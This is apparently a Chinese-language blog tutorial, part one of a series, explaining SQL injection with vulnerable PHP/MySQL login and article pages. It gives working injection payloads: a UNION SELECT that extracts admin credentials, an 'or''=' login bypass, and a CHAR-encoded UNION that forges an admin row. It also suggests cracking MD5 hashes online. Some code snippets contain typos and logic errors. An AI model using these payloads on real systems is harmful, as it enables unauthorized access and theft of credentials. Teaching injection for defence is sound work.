浅谈Web安全:SQL查询注入(一)

浅谈Web安全:SQL查询注入(一)

下篇:浅谈Web安全:SQL查询注入(二)

一点基本说明

本文中,都以php+MySQL为例,其实,本文所讲的东西,对于所有语言都适用

基础:MySQL注入原理

简而言之,就是传入特殊的字符串,将原本正常的SQL语句变成攻击者特殊构造的SQL语句,从而得到一些“不该出现”的信息

听上去是不是有些云里雾里的?没关系,我们来看看实例

实例1.最常见的查询注入

我以最常见的文章系统为例,数据表设计如下:

CREATE TABLE `article` (
  `id` bigint(11) AUTO_INCREMENT,
  `title` varchar(255),
  `body` longtext,
  PRIMARY KEY(`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;

显示文章的php源代码如下:

<?php
require('mysql.php'); //略去连接SQL的部分
$id=$_GET['id'];
$sql="SELECY * FROM `article` WHERE id = $id";
$result=mysqli_fetch_array(mysqli_query($conn,$sql));
echo '标题:',$result['title'];
echo '<hr>',$result['body'];
?>

正常情况下,用户会访问article.php?id=1,此时得到的当然是正常的文章页面

但是如果访问article.php?id=1 AND 1=2 UNION SELECT 1,user,password FROM admin呢?那么$sql就会被构造成SELECY * FROM article WHERE id = 1 AND 1=2 UNION SELECT 1,user,password FROM admin,因为WHERE里面有一句1=2,也就导致了UNION之前的语句查询结果一定为空,那么也就有了后面的结果(我们假定admin表存在,且user和password字段也存在)

实际上,也就等于执行了后面的SQL语句,所以$result的结果就会是:

Array(
    "id" => "1",
    "title" => "管理员用户名",
    "body" => "管理员密码"
)

很多时候,管理员的密码都是明文保存,或者只是经过了简单的md5,直接拿到cmd5之类的网站上去查询一下,就可以破解出来了

实例2.万能密码

其实这个漏洞最多的还是存在于asp的网站中,php相对来说还比较少的

照例还是上一段代码,这是一个后台的登录页面:

<?php
require('mysql.php'); //略去连接SQL的部分
$user=$_POST['user'];
$password=$_POST['password'];
$sql="SELECT * FROM `admin` WHERE user = '$user' AND password = '$password'";
$result=mysqli_fetch_array(mysqli_query($conn,$sql));
if ($result) {
    //略去setcookie、SESSION等操作
    echo '登录成功';
} else {
    echo '登录失败';
}
?>

同样还是构造特殊SQL语句,在用户名那里输入admin'or''=',密码输入'or''=',SQL语句就变成了:SELECT * FROM admin WHERE user = 'admin'or''='' AND password = ''or''='',自然,无论用户名和密码是什么,都可以成功登录了

PS:此漏洞条件有些苛刻,一是要求程序必须将用户名、密码都带入数据库。二是密码不能加密储存。不过,下面这个限制就少多了

实例3.不能用万能密码?那就自己设置一个密码吧!

先上数据表结构:

CREATE TABLE `admin` (
  `id` smallint(6) AUTO_INCREMENT,
  `user` varchar(255),
  `password` char(32)
  PRIMARY KEY(`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;

后台登录页面的php源代码如下:

<?php
require('mysql.php'); //略去连接SQL的部分
$user=$_POST['user'];
$password=md5($_POST['password']);
$sql="SELECT * FROM `admin` WHERE user = '$user'";
$result=mysqli_fetch_array(mysqli_query($conn,$sql));
if ($result['password']=$password) {
    //略去setcookie、SESSION等操作
    echo '登录成功';
} else {
    echo '登录失败';
}
?>

这下就麻烦了,程序是查询出密码,再做匹配,加上密码还进行了简单的加密,就更麻烦了

不过,这同样不是问题,我们还是构造特殊的SQL语句

在用户名处输入' UNION SELECT 1,CHAR(97, 100, 109, 105, 110),CHAR(50, 49, 50, 51, 50, 102, 50, 57, 55, 97, 53, 55, 97, 53, 97, 55, 52, 51, 56, 57, 52, 97, 48, 101, 52, 97, 56, 48, 49, 102, 99, 51) FROM information_schema.tables --

此时,SQL语句就变成了:

SELECT * FROM `admin` WHERE user = '' UNION SELECT 1,CHAR(97, 100, 109, 105, 110),CHAR(50, 49, 50, 51, 50, 102, 50, 57, 55, 97, 53, 55, 97, 53, 97, 55, 52, 51, 56, 57, 52, 97, 48, 101, 52, 97, 56, 48, 49, 102, 99, 51) FROM information_schema.tables -- '

(备注:CHAR是一个MySQL函数,作用是将数字转为字符串,这个数字是相应字符的ASCII编码。--是MySQL的注释符,在此之后的MySQL语句都不会被执行)

此时,$result的结果是:

Array(
    "id" => "1",
    "user" => "admin",
    "password" => "21232f297a57a5a743894a0e4a801fc3" //admin经过md5后的结果
)

我们在密码那里输入admin,就可以成功登录

Next

这篇就先写到这里,下一篇我介绍一下其他几种常见的注入,包括MySQL显错注入和MySQL盲注